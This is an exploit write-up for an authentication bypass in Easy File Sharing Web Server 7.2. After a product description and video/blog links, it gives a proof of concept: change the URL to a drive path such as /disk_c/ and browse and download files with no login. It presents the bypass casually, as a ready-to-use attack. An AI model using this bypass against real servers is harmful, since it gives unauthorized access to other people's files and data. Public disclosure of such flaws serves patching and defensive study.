67 lines
No EOL
2 KiB
Text
67 lines
No EOL
2 KiB
Text
# Exploit Title: EFS Web Server 7.2 Authentication Bypass
|
|
# Date: 11-06-2017
|
|
# Software Link: http://www.sharing-file.com/efssetup.exe
|
|
# Software Version : 7.2
|
|
# Exploit Author: Touhid M.Shaikh
|
|
# Contact: http://twitter.com/touhidshaikh22
|
|
# Website: http://touhidshaikh.com/
|
|
|
|
|
|
######## Description ########
|
|
<!--
|
|
What is Easy File Sharing Web Server 7.2 ?
|
|
Easy File Sharing Web Server is a file sharing software that allows
|
|
visitors to upload/download files easily through a Web Browser. It can help
|
|
you share files with your friends and colleagues. They can download files
|
|
from your computer or upload files from theirs.They will not be required to
|
|
install this software or any other software because an internet browser is
|
|
enough. Easy File Sharing Web Server also provides a Bulletin Board System
|
|
(Forum). It allows remote users to post messages and files to the forum.
|
|
The Secure Edition adds support for SSL encryption that helps protect
|
|
businesses against site spoofing and data corruption.
|
|
-->
|
|
|
|
######## Video PoC and Article ########
|
|
|
|
https://www.youtube.com/watch?v=XlTH7Fm1m1w
|
|
http://touhidshaikh.com/blog/poc/EFSwebservr-authbypass/
|
|
|
|
|
|
|
|
######## Attact Description ########
|
|
<!--
|
|
|
|
Note: No Need to Login...bcz this is auth bypass vulnerability .hehehe.
|
|
|
|
==>START<==
|
|
Any visitor..
|
|
|
|
We can Bypass the Login Screen by just Change the URL and Browse the
|
|
Drives.
|
|
bingoo...
|
|
-->
|
|
|
|
######## Proof of Concept ########
|
|
|
|
When we visit the EFS web server its prompt for login, now attacker just
|
|
change url to below.
|
|
Exploit....
|
|
|
|
http://192.168.1.14/disk_c/
|
|
|
|
in this case change drvie by just change /disk_c to /disk_<Drive latter>
|
|
example. /disk_d , /disk_f etc
|
|
|
|
=============================================
|
|
NOTE :: ::
|
|
Now We have Permission to View Drives and Folder and Download Files. in
|
|
Diffrent Drives or folder.
|
|
============================================
|
|
|
|
_____ ___ _ _ _ _ ___ ____
|
|
|_ _/ _ \| | | | | | |_ _| _ \
|
|
| || | | | | | | |_| || || | | |
|
|
| || |_| | |_| | _ || || |_| |
|
|
|_| \___/ \___/|_| |_|___|____/
|
|
|
|
Touhid Shaikh....... |